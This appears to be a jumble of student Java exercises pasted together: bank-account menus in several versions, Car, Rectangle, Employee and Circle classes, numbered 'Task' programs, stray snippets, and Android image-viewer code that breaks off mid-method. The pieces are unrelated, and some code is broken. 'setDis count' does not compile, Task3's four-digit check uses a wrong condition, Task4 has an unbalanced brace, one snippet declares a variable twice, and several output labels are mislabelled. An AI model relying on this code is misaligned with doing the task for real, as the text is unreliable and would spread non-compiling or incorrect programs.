//////////////////////////////////////////////////////////////////////////////////////

//BankAccountTest.Java

import java.util.Scanner;

public class BankAccountTest{
	
	public static void main(String args[]){
		
		BankAccount account = new BankAccount();
		
		Scanner input = new Scanner(System.in);
		account.name = "Maan";
		
		System.out.println("Enter the account type: ");
		String accountType = input.nextLine();
		account.setAccountType(accountType);
		
		System.out.println("Do want to subscribe SMS alerts(Y or N): ");
		String sms = input.nextLine();
		if(sms.equals("Y") || sms.equals("y")){
			account.subscribeSmsAlert();
		}
		System.out.println("Do you want to subscribe Debit Card(Y or N): ");
		String debit = input.nextLine();
		
		if(debit.equals("Y") || debit.equals("y")){
			account.subscribeDebitCard();
		}
		
		int choice;
		
		do{
			System.out.println("Press 1: To Deposit an amount\nPress 2: To Withdraw an amount\nPress 3: To View the current balance\nPress 4: To Close the program");
		    choice = input.nextInt();
		
		    switch(choice){
			case 1:
			System.out.println("Enter the amount you want to Deposite");
			double depositeAmount = input.nextDouble(); 
			account.deposit(depositeAmount);
			break;
			case 2:
			System.out.println("Enter the amount you want to withdraw");
			double withdrawAmount = input.nextDouble();
			account.withdraw(withdrawAmount);
			break;
			case 3:
			System.out.println("Your current balance is " + account.getBalance());
			break;
			case 4:
			System.out.println("The program is terminated");
			account.transaction();
			break;
			default:
			System.out.println("Incorrect choice. Please try again!");
			break;
			
		
		}
		
	}while(choice!=4);
  }
	
}
 String paragraph = "bob ,,, %&*lonlaskhdfshkfhskfh,,@!~";
            String normalized = paragraph.replaceAll("[^a-zA-Z0-9]", " ");

// replacing multiple spaces with single space

 String normalized = paragraph.replaceAll("[ ]+", " ");
BankAccount.java

import java.util.Scanner;

public class BankAccount {
    String name;
	private double balance;
	private int depositCount = 0;
	private int withdrawCount = 0;
	
	public void deposit(double amount){
		balance += amount;
		System.out.println(amount + " is successfully Deposited");
		depositCount++;
		if(balance > 100000){
			balance = balance + (amount / 100);
		}
	}
	public void withdraw(double amount){
		if(balance >= amount){
			if(balance - amount < 50000){
				System.out.println("Asre you sure you want to withdraw, it would make your balance below 50,000");
				System.out.println("Press 1 to continue and 0 to abort");
				Scanner input = new Scanner(System.in);
				int confirm = input.nextInt();
				if(confirm != 1){
					System.out.println("Withdrawal aborted");
					return;
				}
			}
			double withdrawAmount = amount;
			if(balance < 50000){
				withdrawAmount = withdrawAmount + amount * 0.02;
				withdrawCount++;
			}
			balance = balance - withdrawAmount;
			System.out.println(withdrawAmount + " is successfully withdrawn");
			
		}
		else{
			System.out.println("Insufficient funds");
		}
			
	}
	public double getBalance(){
		return balance;
	}
	void transaction(){
		System.out.println("Account title: " + name);
		System.out.println("Total deposit: " + depositCount);
		System.out.println("Total withdraw: " + withdrawCount);
		System.out.println("Balance: " + balance);
	}
	
}

///////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////

BankAccountTest.java

import java.util.Scanner;

public class BankAccountTest{
	
	public static void main(String args[]){
		
		BankAccount account = new BankAccount();
		
		Scanner input = new Scanner(System.in);
		account.name = "Maan";
		
		int choice;
		
		do{
			System.out.println("Press 1: To Deposit an amount\nPress 2: To Withdraw an amount\nPress 3: To View the current balance\nPress 4: To Close the program");
		    choice = input.nextInt();
		
		    switch(choice){
			case 1:
			System.out.println("Enter the amount you want to Deposite");
			double depositeAmount = input.nextDouble(); 
			account.deposit(depositeAmount);
			break;
			case 2:
			System.out.println("Enter the amount you want to withdraw");
			double withdrawAmount = input.nextDouble();
			account.withdraw(withdrawAmount);
			break;
			case 3:
			System.out.println("Your current balance is " + account.getBalance());
			break;
			case 4:
			System.out.println("The program is terminated");
			account.transaction();
			break;
			default:
			System.out.println("Incorrect choice. Please try again!");
			break;
			
		
		}
		
	}while(choice!=4);
  }
	
}
public class BankAccount {
    String name;
	private double balance;
	private int depositCount = 0;
	private int withdrawCount = 0;
	
	public void deposit(double amount){
		balance += amount;
		System.out.println(amount + " is successfully Deposited");
		depositCount++;
		if(balance > 100000){
			balance = balance + (amount / 100);
		}
	}
	public void withdraw(double amount){
		if(balance >= amount){
			balance -= amount;
			System.out.println(amount + " is successfully Withdrawn");
			withdrawCount++;
		}
		else{
			System.out.println("Insufficient funds");
		}
			
	}
	public double getBalance(){
		return balance;
	}
	void transaction(){
		System.out.println("Account title: " + name);
		System.out.println("Total deposit: " + depositCount);
		System.out.println("Total withdraw: " + withdrawCount);
		System.out.println("Balance: " + balance);
	}
	
}

//////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////

import java.util.Scanner;

public class BankAccountTest{
	
	public static void main(String args[]){
		
		BankAccount account = new BankAccount();
		
		Scanner input = new Scanner(System.in);
		account.name = "Maan";
		
		int choice;
		
		do{
			System.out.println("Press 1: To Deposit an amount\nPress 2: To Withdraw an amount\nPress 3: To View the current balance\nPress 4: To Close the program");
		    choice = input.nextInt();
		
		    switch(choice){
			case 1:
			System.out.println("Enter the amount you want to Deposite");
			double depositeAmount = input.nextDouble(); 
			account.deposit(depositeAmount);
			break;
			case 2:
			System.out.println("Enter the amount you want to withdraw");
			double withdrawAmount = input.nextDouble();
			account.withdraw(withdrawAmount);
			break;
			case 3:
			System.out.println("Your current balance is " + account.getBalance());
			break;
			case 4:
			System.out.println("The program is terminated");
			account.transaction();
			break;
			default:
			System.out.println("Incorrect choice. Please try again!");
			break;
			
		
		}
		
	}while(choice!=4);
  }
	
}
BankAccount.java

public class BankAccount {
    String name;
	private double balance;
	private int depositCount = 0;
	private int withdrawCount = 0;
	
	public void deposit(double amount){
		balance += amount;
		System.out.println(amount + " is successfully Deposited");
		depositCount++;
	}
	public void withdraw(double amount){
		if(balance >= amount){
			balance -= amount;
			System.out.println(amount + " is successfully Withdrawn");
			withdrawCount++;
		}
		else{
			System.out.println("Insufficient funds");
		}
			
	}
	public double getBalance(){
		return balance;
	}
	void transaction(){
		System.out.println("Account title: " + name);
		System.out.println("Total deposit: " + depositCount);
		System.out.println("Total withdraw: " + withdrawCount);
		System.out.println("Balance: " + balance);
	}
	
}

/////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////

BankAccountTest.java

import java.util.Scanner;

public class BankAccountTest{
	
	public static void main(String args[]){
		
		BankAccount account = new BankAccount();
		
		Scanner input = new Scanner(System.in);
		account.name = "Maan";
		
		int choice;
		
		do{
			System.out.println("Press 1: To Deposit an amount\nPress 2: To Withdraw an amount\nPress             3: To View the current balance\nPress 4: To Close the program");
		    choice = input.nextInt();
		
		    switch(choice){
			case 1:
			System.out.println("Enter the amount you want to Deposite");
			double depositeAmount = input.nextDouble(); 
			account.deposit(depositeAmount);
			break;
			case 2:
			System.out.println("Enter the amount you want to withdraw");
			double withdrawAmount = input.nextDouble();
			account.withdraw(withdrawAmount);
			break;
			case 3:
			System.out.println("Your current balance is " + account.getBalance());
			break;
			case 4:
			System.out.println("The program is terminated");
			account.transaction();
			break;
			default:
			System.out.println("Incorrect choice. Please try again!");
			break;
			
		
		}
		
	}while(choice!=4);
  }
	
}
// BankAccount.java

public class BankAccount {
	private String name;
	private double balance;
	
	public void deposit(double amount){
		balance += amount;
		System.out.println(amount + " is successfully Deposited");
	}
	public void withdraw(double amount){
		if(balance >= amount){
			balance -= amount;
			System.out.println(amount + " is successfully Withdrawn");
		}
		else{
			System.out.println("Insufficient funds");
		}
			
	}
	public double getBalance(){
		return balance;
	}
	
}

//////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////

//BankAccountTest.java

import java.util.Scanner;

public class BankAccountTest{
	
	public static void main(String args[]){
		
		BankAccount account = new BankAccount();
		
		Scanner input = new Scanner(System.in);
		System.out.println("Enter account holder name: ");
		String name = input.nextLine();
		
		int choice;
		
		do{
			System.out.println("Press 1: To Deposit an amount\nPress 2: To Withdraw an amount\nPress 3: To View the current balance\nPress 4: To Close the program");
		    choice = input.nextInt();
		
		    switch(choice){
			case 1:
			System.out.println("Enter the amount you want to Deposite");
			double depositeAmount = input.nextDouble(); 
			account.deposit(depositeAmount);
			break;
			case 2:
			System.out.println("Enter the amount you want to withdraw");
			double withdrawAmount = input.nextDouble();
			account.withdraw(withdrawAmount);
			break;
			case 3:
			System.out.println("Your current balance is " + account.getBalance());
			break;
			case 4:
			System.out.println("The program is terminated");
			break;
			default:
			System.out.println("Incorrect choice. Please try again!");
			break;
			
		
		}
		
	}while(choice!=4);
  }
	
}
char[] task = new char[]{'a', 'b', 'c', 'c', 'd', 'e'};
        Map<Character, Long> map = IntStream.range(0, task.length)
                .mapToObj(idx -> task[idx]).collect(Collectors.groupingBy(Function.identity(), Collectors.counting()));
/////////////////////////////////////////////////////////////////////////////////////////
//For CarApplication.java
//////////////////////////////////////////////////////////////////////////////////////////

public class CarApplication{
	public static void main(String[] args){
		
		//Create Car1 and Add values with constructor 
		Car car1 = new Car("CIVIC","2024", 7500000);
		
		//Create Car2 and Add values with constructor
		Car car2 = new Car("SWIFT","2019", 4500000);
		
		
		System.out.println("\nCar1\n");
		//Print car1 value before discount
		System.out.println("Model of Car1 = "+car1.getModel());
		System.out.println("Year of Car1 = "+car1.getYear());
		System.out.println("Price of Car1 = "+car1.getPrice()+"\n");
		
		
		car1.setDiscount(5);
		
		System.out.println("After 5% Discount");
		
		
		//Print car1 value after discount
		System.out.println("Price of Car1 = "+car1.getPrice()+"\n");
		
		
		System.out.println("Car2\n");
		
		
		//Print car1 value before discount
		System.out.println("Name of Car2 = "+car2.getModel());
		System.out.println("Year of Car2 = "+car2.getYear());
		System.out.println("Price of Car2 = "+car2.getPrice()+"\n");
		
		car2.setDiscount(7);
		
		System.out.println("After 5% Discount");
		
		//Print car1 value after discount
		System.out.println("Price of Car2 = "+car2.getPrice()+"\n");
		
		System.out.println("Numbers of Cars = "+Car.carno);
		
				
	}	
}

//////////////////////////////////////////////////////////////////////////////////////////
// FOr Car.java
//////////////////////////////////////////////////////////////////////////////////////////

public class Car{
	private String model;
	private String year;
	private double price;
	public static int carno=0;
	
	public Car(String model , String year, double price){
		setModel(model);
		setYear(year);
		setPrice(price);
		carno++;
	}
	
	public void setModel(String model){
		this.model = model;
	}
	
	public void setYear(String year){
		this.year = year;
	}
	
	public void setPrice(double price){
		if(price>0){
			this.price = price;
		}
	}
	
	public String getModel(){
		return this.model;
	}
	
	public String getYear(){
		return this.year;
	}
	
	public double getPrice(){
		return this.price;
	}
	
	public void setDis count(double discount){
		this.price =this.price - ((discount*this.price)/100);
	}
		
}

///////////////////////////////////////////////////////////////////////////////////////////
//For RectangleTest.java
///////////////////////////////////////////////////////////////////////////////////////////

public class RectangleTest{
	public static void main(String [] args){
		
		//Create rectangle1 object
		Rectangle rectangle1 = new Rectangle ();
		rectangle1.setLength(2);
		rectangle1.setWidth(4);
		
		//Print Object 1 values and method
		System.out.println("Length of Rectangle1 = "+ rectangle1.getLength());
		System.out.println("Width of Rectangle1 = "+rectangle1.getWidth());
		System.out.println("Area of Rectangle1 = "+rectangle1.getArea());
		System.out.println("Perimeter of Rectangle1 = "+rectangle1.getPerimeter());
		System.out.println();
		
		//Create rectangle2 object
		Rectangle rectangle2 = new Rectangle ();
		rectangle2.setLength(4);
		rectangle2.setWidth(6);
		
		//Print Object 2 values and method
		System.out.println("Length of Rectangle1 = "+ rectangle2.getLength());
		System.out.println("Width of Rectangle1 = "+rectangle2.getWidth());
		System.out.println("Area of Rectangle1 = "+rectangle2.getArea());
		System.out.println("Perimeter of Rectangle1 = "+rectangle2.getPerimeter());
		
		
	}
}

///////////////////////////////////////////////////////////////////////////////////////////
//For Rectangle.java
///////////////////////////////////////////////////////////////////////////////////////////


public class Rectangle{
	private double length;
	private double width;
	
	public void setLength(double length){
		this.length = length;
	}
	
	public void setWidth(double width){
		this.width = width;
	}
	
	public double getLength(){
		return length;
	}
	
	public double getWidth(){
		return width;
	}
	
	public double getArea(){
		return length * width;
	}
	
	public double getPerimeter(){
		return 2*(length + width);
	}
	
}

//For TestEmpolyee.java

public class TestEmpolyee {
    public static void main(String[] args) {
		Empolyee e1 = new Empolyee();
		Empolyee e2 = new Empolyee(3666666666666L,"mrSaadis");
		Empolyee e3 = new Empolyee(3666666666666L,"meSaadis",201000f);		
        e1.getEmpolyee();
		e2.getEmpolyee();
		e3.getEmpolyee();
		
    }
}


///////////////////////////////////////////////////////////////////////////////////////////
//For Empolyee.java
///////////////////////////////////////////////////////////////////////////////////////////


public class Empolyee {
    
	private long cnic;
	private String name;
	private double salary;
	
	public Empolyee (){
	}
	
	public Empolyee (long cnic, String name){
		setEmpolyee(cnic,name);
	}
	
	public Empolyee(long cnic, String name, double salary){
		this(cnic,name);
		this.salary = salary;
	}
	
	public void setEmpolyee (long cnic, String name){
		this.cnic = cnic;
		this.name = name;
	}
	
	public void getEmpolyee (){
		System.out.printf("Cnic no. is %d%n",this.cnic);
		System.out.printf("Name is %s%n",this.name);
		System.out.printf("Salaray is %.2f%n%n",this.salary);
	}
	
}

//For TestCircle.java

public class TestCircle {
    public static void main(String[] args) {
		
        Circle circle = new Circle(5);

        System.out.printf("Radius of the circle: %.2f%n", circle.getRadius());
        System.out.printf("Area of the circle: %.2f%n", circle.calculateArea());
        System.out.printf("Perimeter of the circle: %.2f%n%n", circle.calculatePerimeter());

        circle.setRadius(7);
        System.out.printf("Radius of the circle: %.2f%n", circle.getRadius());
        System.out.printf("Area of the circle: %.2f%n", circle.calculateArea());
        System.out.printf("Perimeter of the circle: %.2f%n%n", circle.calculatePerimeter());
		
        circle.setRadius(-3);
    }
}

///////////////////////////////////////////////////////////////////////////////////////////
//For Circle.java
///////////////////////////////////////////////////////////////////////////////////////////

public class Circle {
    private double radius;

    public Circle(double radius) {
        this.radius = radius;
    }

    public double getRadius() {
        return radius;
    }

    public void setRadius(double radius) {
        if (radius > 0) {
            this.radius = radius;
        } else {
            System.out.println("Radius must be greater than 0");
        }
    }

    public double calculateArea() {
        return Math.PI * radius * radius;
    }

    public double calculatePerimeter() {
        return 2 * (Math.PI * radius);
    }
}

//Code for Banking.java

import java.util.Scanner;
public class Banking{
	public static void main(String[] args){
		Scanner input = new Scanner(System.in);
		BankAccount newAccount =  new BankAccount();
		
		System.out.println("Enter Account Holder's Name :");
		newAccount.name = input.nextLine();
		
		System.out.print("Enter Initial Balance : Rs ");
		newAccount.balance = input.nextInt();
		
		System.out.println("Pick the Services Services:\n1)SMS Alerts\n2)Debit Card\n3)Both\n4)None");
		int pick = input.nextInt();
		
		switch(pick){
			case 1:
				newAccount.smsAlert = true;
				newAccount.debitCard = false;
			break;
			case 2:
				newAccount.smsAlert = false;
				newAccount.debitCard = true;
			break;
			case 3:
				newAccount.smsAlert = true;
				newAccount.debitCard = true;
			break;
			case 4:
				newAccount.smsAlert = false;
				newAccount.debitCard = false;
			break;
			default:
			System.out.println("Invalid Input");
		}
		
		newAccount.accountBehaviour();
		System.out.println("After deducting annual fees, the account information is as follows:");
        newAccount.displayAccountInfo();		
	}
}


///////////////////////////////////////////////////////////////////////////////////////////
//
///////////////////////////////////////////////////////////////////////////////////////////


public class BankAccount{
	String name;
	double balance;
	boolean smsAlert=false;
	boolean debitCard=false;
	
	public void accountBehaviour(){
		int smsAlertFee=2000;
		int debitCardFee =5000;
		if(this.balance>=3000000){
			 System.out.println("No annual fees for PREMIUM account holders.");
                return;
		}
		 if (smsAlert) {
                this.balance -= smsAlertFee;
                System.out.println("Annual fee deducted for SMS Alerts: Rs" + smsAlertFee);
            }

        if (debitCard) {
            this.balance -= debitCardFee;
            System.out.println("Annual fee deducted for Debit Card: Rs" + debitCardFee);
        }
	}
	
	 public void displayAccountInfo() {
        System.out.println("Account Holder: " + name);
        System.out.println("Balance: Rs" + balance);
        System.out.println("SMS Alerts: " + (smsAlert ? "Subscribed" : "Not Subscribed"));
        System.out.println("Debit Card: " + (debitCard ? "Subscribed" : "Not Subscribed"));
    }	
}
import java.util.Scanner;

public class Task10{
	public static void main(String args[]){
		
		Scanner input = new Scanner(System.in);
		
		System.out.println("Enter total sale amount: ");
		double sale = input.nextDouble();
		
		double commission = 0;
		double bonus = 0; 
		double fixedSalary = 25000;
		
		if(sale <= 100000){
			commission = 0.02 * sale;
		}
		else if(sale > 100000 && sale < 300000){
			commission = 0.015 * sale;
			bonus = 2000;
		}
		else if(sale > 300000){
			commission = 0.01 * sale;
			bonus = 3000;
		}
		
		double totalSalary = fixedSalary + commission + bonus;
		
		System.out.printf("Total salary of employee is: %.2f",totalSalary);
		
		
	}
}
import java.util.Scanner;

public class Task9{
	public static void main(String args[]){
		
		Scanner input = new Scanner(System.in);
		
		System.out.println("Enter your basic salary: ");
		int basicSalary = input.nextInt();
		
		int houseRentAlowance = 0,medicalAllowance = 0;
		
		if(basicSalary < 10000){
			houseRentAlowance = (basicSalary * 50) / 100;
			medicalAllowance = (basicSalary * 10) / 100;
		}
		else if(basicSalary >= 10000 && basicSalary <= 20000){
			houseRentAlowance = (basicSalary * 60) / 100;
			medicalAllowance = (basicSalary * 15) / 100;
		}
		else if(basicSalary > 20000){
			houseRentAlowance = (basicSalary * 70) / 100;
			medicalAllowance = (basicSalary * 20) / 100;
		}
		
		int grossSalary = basicSalary + houseRentAlowance + medicalAllowance;
		
		System.out.printf("The gross salary is %d",grossSalary);
		
	}
}
import java.util.Scanner;

public class Task8{
	public static void main(String args[]){
		
		Scanner input = new Scanner(System.in);
		
		System.out.println("Enter end number: ");
		int endNo = input.nextInt();
		
		int count = 0;
		int i;
		String spNum = "Following are the special numbers: ";
		
		for(i = 1; i <= endNo; i++){
			if(i % 2 == 0 && i % 3 == 0 && i % 7 != 0){
				count++;
				spNum = spNum + i + ",";
			}
		}
		System.out.println("Special Number Count: "+ count);
		System.out.print(spNum);
	}
}
import java.util.Scanner;

public class Task7{
	public static void main(String args[]){
		Scanner input = new Scanner(System.in);
		
		System.out.println("Enter the age: ");
		int age = input.nextInt();
		System.out.println("Enter marks in maths: ");
		double mathMarks = input.nextDouble();
		System.out.println("Enter marks in english: ");
		double englishMarks = input.nextDouble();
		System.out.println("Enter marks in science: ");
		double scienceMarks = input.nextDouble();
		
		double totalMarks = mathMarks + englishMarks + scienceMarks;
		
		if(age > 15 && mathMarks >= 65 && englishMarks >= 55 && scienceMarks > 50 && totalMarks >= 180){
			System.out.println("Eligible for admission!");
		}
		else{
			System.out.println("Not eligible for admission");
		}
		
	}
}
import java.util.Scanner;

public class Task6{
	public static void main(String args[]){
		
		Scanner input = new Scanner(System.in);
		
		System.out.println("Enter first no: ");
		int num1 = input.nextInt();
		System.out.println("Enter second no: ");
		int num2 = input.nextInt();
		int reminder = num1 % num2;
		System.out.printf("The reminder is: %d\n",reminder);
		if(reminder == 0){
			System.out.printf("%d is divisible by %d",num1,num2);
		}
		else{
			System.out.printf("%d is not divisible by %d",num1,num2);
		}
		
	}
}
import java.util.Scanner;

public class Task5{
	public static void main(String args[]){
		
		Scanner input = new Scanner(System.in);
		
		System.out.println("Enter table #: ");
		int tableNo = input.nextInt();
		System.out.println("Enter start #: ");
		int startNo = input.nextInt();
		System.out.println("Enter end #: ");
		int endNo = input.nextInt();
		
		int i;
		for(i = startNo; i <= endNo; i++){
			System.out.printf("%d x %d = %d\n",i,tableNo,tableNo*i);
		}	
		
	}
}
import java.util.Scanner;

public class Task4{
	
	public static void main(String[] args){
		
		Scanner input = new Scanner(System.in);
		int year;
		do{
		System.out.println("Enter a year: ");
		year = input.nextInt();
		}while(year < 500);	

		if(year % 100 == 0){
			if(year % 400 == 0 && year % 4 == 0){
				System.out.println("It is a century leap year! ");
			}else{
				System.out.println("It is not a leap year! ");
			}
		}
		    else if(year % 4 == 0){
				System.out.println("It is a leap year! ");
			}
			else{
				System.out.println("It is not a leap year! ");
			}
		}	
		
	}
	
}
	
import java.util.Scanner;

public class Task3{
	
	public static void main(String args[]){
		
		Scanner input = new Scanner(System.in);
		
		System.out.println("Enter a four digit number: ");
		int num = input.nextInt();
		
		if(num < 1000 || num < 9999){
			System.out.println("Please enter a valid 4 digit number! ");
		}
		
		
		
		int num4 = num % 10;
		int num3 = (num % 100) / 10;
		int num2 = (num % 1000) / 100;
		int num1 = num / 1000;
		
		System.out.println("The four digits are: ");
		System.out.println(num1);
		System.out.println(num2);
		System.out.println(num3);
		System.out.println(num4);
		
		
		 
	}  
	
	
}
	
import java.util.Scanner;

public class Task1{
	
	public static void main(String args[]){
		int num;
		Scanner input = new Scanner(System.in);
		
		System.out.print("Enter a number: ");
		num = input.nextInt();
		
		
		boolean Num = true;
		for(int i = 2; i <= num; i++){
			Num = true;
			for(int j = 2; j < i; j++){
				if(i % j == 0){
					Num = false;
					break;
				}	
			}
			if(Num == true)
			System.out.println(i);
			
		}
				
			
	}
}
package com.moksha.commonactivity.common;
import android.content.Context;
import android.graphics.Bitmap;
import android.graphics.Matrix;
import android.graphics.PointF;
import android.util.AttributeSet;
import android.view.MotionEvent;
import android.view.ScaleGestureDetector;
import android.view.View;
import android.widget.ImageView;
public class ZoomableImageView extends androidx.appcompat.widget.AppCompatImageView
{
    Matrix matrix = new Matrix();

    static final int NONE = 0;
    static final int DRAG = 1;
    static final int ZOOM = 2;
    static final int CLICK = 3;
    int mode = NONE;

    PointF last = new PointF();
    PointF start = new PointF();
    float minScale = 1f;
    float maxScale = 4f;
    float[] m;

    float redundantXSpace, redundantYSpace;
    float width, height;
    float saveScale = 1f;
    float right, bottom, origWidth, origHeight, bmWidth, bmHeight;

    ScaleGestureDetector mScaleDetector;
    Context context;

    public ZoomableImageView(Context context, AttributeSet attr)
    {
        super(context, attr);
        super.setClickable(true);
        this.context = context;
        mScaleDetector = new ScaleGestureDetector(context, new ScaleListener());
        matrix.setTranslate(1f, 1f);
        m = new float[9];
        setImageMatrix(matrix);
        setScaleType(ScaleType.MATRIX);

        setOnTouchListener(new OnTouchListener()
        {

            @Override
            public boolean onTouch(View v, MotionEvent event)
            {
                mScaleDetector.onTouchEvent(event);

                matrix.getValues(m);
                float x = m[Matrix.MTRANS_X];
                float y = m[Matrix.MTRANS_Y];
                PointF curr = new PointF(event.getX(), event.getY());

                switch (event.getAction())
                {
                    //when one finger is touching
                    //set the mode to DRAG
                    case MotionEvent.ACTION_DOWN:
                        last.set(event.getX(), event.getY());
                        start.set(last);
                        mode = DRAG;
                        break;
                    //when two fingers are touching
                    //set the mode to ZOOM
                    case MotionEvent.ACTION_POINTER_DOWN:
                        last.set(event.getX(), event.getY());
                        start.set(last);
                        mode = ZOOM;
                        break;
                    //when a finger moves
                    //If mode is applicable move image
                    case MotionEvent.ACTION_MOVE:
                        //if the mode is ZOOM or
                        //if the mode is DRAG and already zoomed
                        if (mode == ZOOM || (mode == DRAG && saveScale > minScale))
                        {
                            float deltaX = curr.x - last.x;// x difference
                            float deltaY = curr.y - last.y;// y difference
                            float scaleWidth = Math.round(origWidth * saveScale);// width after applying current scale
                            float scaleHeight = Math.round(origHeight * saveScale);// height after applying current scale
                            //if scaleWidth is smaller than the views width
                            //in other words if the image width fits in the view
                            //limit left and right movement
                            if (scaleWidth < width)
                            {
                                deltaX = 0;
                                if (y + deltaY > 0)
                                    deltaY = -y;
                                else if (y + deltaY < -bottom)
                                    deltaY = -(y + bottom);
                            }
                            //if scaleHeight is smaller than the views height
                            //in other words if the image height fits in the view
                            //limit up and down movement
                            else if (scaleHeight < height)
                            {
                                deltaY = 0;
                                if (x + deltaX > 0)
                                    deltaX = -x;
                                else if (x + deltaX < -right)
                                    deltaX = -(x + right);
                            }
                            //if the image doesnt fit in the width or height
                            //limit both up and down and left and right
                            else
                            {
                                if (x + deltaX > 0)
                                    deltaX = -x;
                                else if (x + deltaX < -right)
                                    deltaX = -(x + right);

                                if (y + deltaY > 0)
                                    deltaY = -y;
                                else if (y + deltaY < -bottom)
                                    deltaY = -(y + bottom);
                            }
                            //move the image with the matrix
                            matrix.postTranslate(deltaX, deltaY);
                            //set the last touch location to the current
                            last.set(curr.x, curr.y);
                        }
                        break;
                    //first finger is lifted
                    case MotionEvent.ACTION_UP:
                        mode = NONE;
                        int xDiff = (int) Math.abs(curr.x - start.x);
                        int yDiff = (int) Math.abs(curr.y - start.y);
                        if (xDiff < CLICK && yDiff < CLICK)
                            performClick();
                        break;
                    // second finger is lifted
                    case MotionEvent.ACTION_POINTER_UP:
                        mode = NONE;
                        break;
                }
                setImageMatrix(matrix);
                invalidate();
                return true;
            }

        });
    }

    @Override
    public void setImageBitmap(Bitmap bm)
    {
        super.setImageBitmap(bm);
        bmWidth = bm.getWidth();
        bmHeight = bm.getHeight();
    }

    public void setMaxZoom(float x)
    {
        maxScale = x;
    }

    private class ScaleListener extends ScaleGestureDetector.SimpleOnScaleGestureListener
    {

        @Override
        public boolean onScaleBegin(ScaleGestureDetector detector)
        {
            mode = ZOOM;
            return true;
        }

        @Override
        public boolean onScale(ScaleGestureDetector detector)
        {
            float mScaleFactor = detector.getScaleFactor();
            float origScale = saveScale;
            saveScale *= mScaleFactor;
            if (saveScale > maxScale)
            {
                saveScale = maxScale;
                mScaleFactor = maxScale / origScale;
            }
            else if (saveScale < minScale)
            {
                saveScale = minScale;
                mScaleFactor = minScale / origScale;
            }
            right = width * saveScale - width - (2 * redundantXSpace * saveScale);
            bottom = height * saveScale - height - (2 * redundantYSpace * saveScale);
            if (origWidth * saveScale <= width || origHeight * saveScale <= height)
            {
                matrix.postScale(mScaleFactor, mScaleFactor, width / 2, height / 2);
                if (mScaleFactor < 1)
                {
                    matrix.getValues(m);
                    float x = m[Matrix.MTRANS_X];
                    float y = m[Matrix.MTRANS_Y];
                    if (mScaleFactor < 1)
                    {
                        if (Math.round(origWidth * saveScale) < width)
                        {
                            if (y < -bottom)
                                matrix.postTranslate(0, -(y + bottom));
                            else if (y > 0)
                                matrix.postTranslate(0, -y);
                        }
                        else
                        {
                            if (x < -right)
                                matrix.postTranslate(-(x + right), 0);
                            else if (x > 0)
                                matrix.postTranslate(-x, 0);
                        }
                    }
                }
            }
            else
            {
                matrix.postScale(mScaleFactor, mScaleFactor, detector.getFocusX(), detector.getFocusY());
                matrix.getValues(m);
                float x = m[Matrix.MTRANS_X];
                float y = m[Matrix.MTRANS_Y];
                if (mScaleFactor < 1) {
                    if (x < -right)
                        matrix.postTranslate(-(x + right), 0);
                    else if (x > 0)
                        matrix.postTranslate(-x, 0);
                    if (y < -bottom)
                        matrix.postTranslate(0, -(y + bottom));
                    else if (y > 0)
                        matrix.postTranslate(0, -y);
                }
            }
            return true;
        }
    }

    @Override
    protected void onMeasure (int widthMeasureSpec, int heightMeasureSpec)
    {
        super.onMeasure(widthMeasureSpec, heightMeasureSpec);
        width = MeasureSpec.getSize(widthMeasureSpec);
        height = MeasureSpec.getSize(heightMeasureSpec);
        //Fit to screen.
        float scale;
        float scaleX =  width / bmWidth;
        float scaleY = height / bmHeight;
        scale = Math.min(scaleX, scaleY);
        matrix.setScale(scale, scale);
        setImageMatrix(matrix);
        saveScale = 1f;

        // Center the image
        redundantYSpace = height - (scale * bmHeight) ;
        redundantXSpace = width - (scale * bmWidth);
        redundantYSpace /= 2;
        redundantXSpace /= 2;

        matrix.postTranslate(redundantXSpace, redundantYSpace);

        origWidth = width - 2 * redundantXSpace;
        origHeight = height - 2 * redundantYSpace;
        right = width * saveScale - width - (2 * redundantXSpace * saveScale);
        bottom = height * saveScale - height - (2 * redundantYSpace * saveScale);
        setImageMatrix(matrix);
    }
}
package com.jjmaurangabad;

import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
import androidx.appcompat.app.AppCompatActivity;
import androidx.swiperefreshlayout.widget.CircularProgressDrawable;

import android.annotation.SuppressLint;
import android.graphics.Canvas;
import android.graphics.ColorFilter;
import android.graphics.PixelFormat;
import android.graphics.PointF;
import android.graphics.drawable.Drawable;
import android.os.Bundle;
import android.util.Log;
import android.view.MenuItem;
import android.view.MotionEvent;
import android.view.View;
import android.view.WindowManager;
import android.widget.ImageView;
import android.widget.ProgressBar;
import android.widget.TextView;
import android.widget.Toast;

import com.bumptech.glide.Glide;
import com.jjmaurangabad.R;
import com.moksha.commonactivity.cPackage.RetrofitBuilderURL;

import java.util.Objects;

public class ImageViewActivity extends AppCompatActivity {
    String FileName="";
    ProgressBar progressBar;
ImageView iv_project;
    TextView tvImageName;
    String uri="http://192.168.1.29:8031/Video/8142bf83-f636-4ded-bf8e-d5fe50137e2d.jpg";
    float[] lastEvent = null;
    float d = 0f;
    float newRot = 0f;
    private boolean isZoomAndRotate;
    private boolean isOutSide;
    private static final int NONE = 0;
    private static final int DRAG = 1;
    private static final int ZOOM = 2;
    private int mode = NONE;
    private PointF start = new PointF();
    private PointF mid = new PointF();
    float oldDist = 1f;
    private float xCoOrdinate, yCoOrdinate;
    @SuppressLint("MissingInflatedId")
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_image_view);
        Objects.requireNonNull(getSupportActionBar()).setDisplayHomeAsUpEnabled(true);
        iv_project=findViewById(R.id.iv_project);
        tvImageName=findViewById(R.id.tvImageName);
        setTitle("Image");

//        progressBar=findViewById(R.id.progressBar);
        Bundle bundle=getIntent().getExtras();
        getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN,
                WindowManager.LayoutParams.FLAG_FULLSCREEN);
        //Wapcos //TPI//Technical //Account

        if(bundle!=null){
            tvImageName.setText(bundle.getString("Title"));
            FileName=bundle.getString("FileName");
        }
        try {
            String url= RetrofitBuilderURL.BASE_URL +FileName;
            Glide.with(this).load(url).error(R.drawable.no_image).into(iv_project);
            CircularProgressDrawable circularProgressDrawable = new CircularProgressDrawable(this);
            circularProgressDrawable.setStrokeWidth(5f);
            circularProgressDrawable.setCenterRadius(30f);
            circularProgressDrawable.start();
            iv_project.setImageDrawable(circularProgressDrawable);
        }catch (Exception e){
